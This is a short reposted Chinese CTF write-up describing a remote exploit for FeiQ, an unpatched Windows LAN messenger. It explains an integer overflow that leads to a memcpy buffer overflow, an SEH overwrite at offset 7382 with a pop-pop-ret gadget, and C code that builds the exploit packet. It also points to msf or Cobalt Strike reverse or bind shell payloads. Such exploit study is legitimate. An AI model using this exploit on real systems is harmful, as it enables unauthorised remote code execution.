说是题目,其实就是飞秋0day 233
之前虽然听说过各种windows的pwn
软件停止更新已久,保护都没开,是比较古老的玩意儿了
于是很容易搜到各种POC
例如0x49D03F
处的整形溢出
v54是输入进来的字符串,因此可以提供4294967295=0xffffffff=-1
从而使memcpy发生缓冲区溢出的异常,然后通过覆盖SEH的方式进行利用
通过cyclic
生成字符串填入,可以测出溢出点的偏移7382+4
然后在7382的位置填入ROP的地址
SEH的利用方式
因为异常处理handler的第二个参数esp+8
正好是异常结构的地址EstblisherFrame,即偏移7382
的位置
因此地址可以填充pop+pop+retn
的ROP,从而回到原栈
再在7382
的位置填充jmp $+6
即可跳过ROP地址,执行后面的shellcode
代码:
char *sendbuf;
sendbuf = (char *)GlobalAlloc(GMEM_ZEROINIT, 0x7fff);
char senddata1[] = "1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:";
int offset = 7382;
char befor_shellcode[] = "\xeb\x06\xeb\x06\x71\x15\xfa\x7f";//jmp $+6 and ROP_addr
int senddata1length = strlen(senddata1);
strcpy(sendbuf, senddata1);
//strcpy(sendbuf + senddata1length, test_code);
memset(sendbuf + senddata1length, 'A', offset);
strcpy(sendbuf + senddata1length + offset, befor_shellcode);
strcpy(sendbuf + senddata1length + offset + strlen(befor_shellcode), shellcode);
shellcode本体可以由msf或者cs之类的直接生成bind_tcp
或reverse_tcp
的payload来获得shellcode
转载:https://blog.csdn.net/whklhhhh/article/details/101014663
查看评论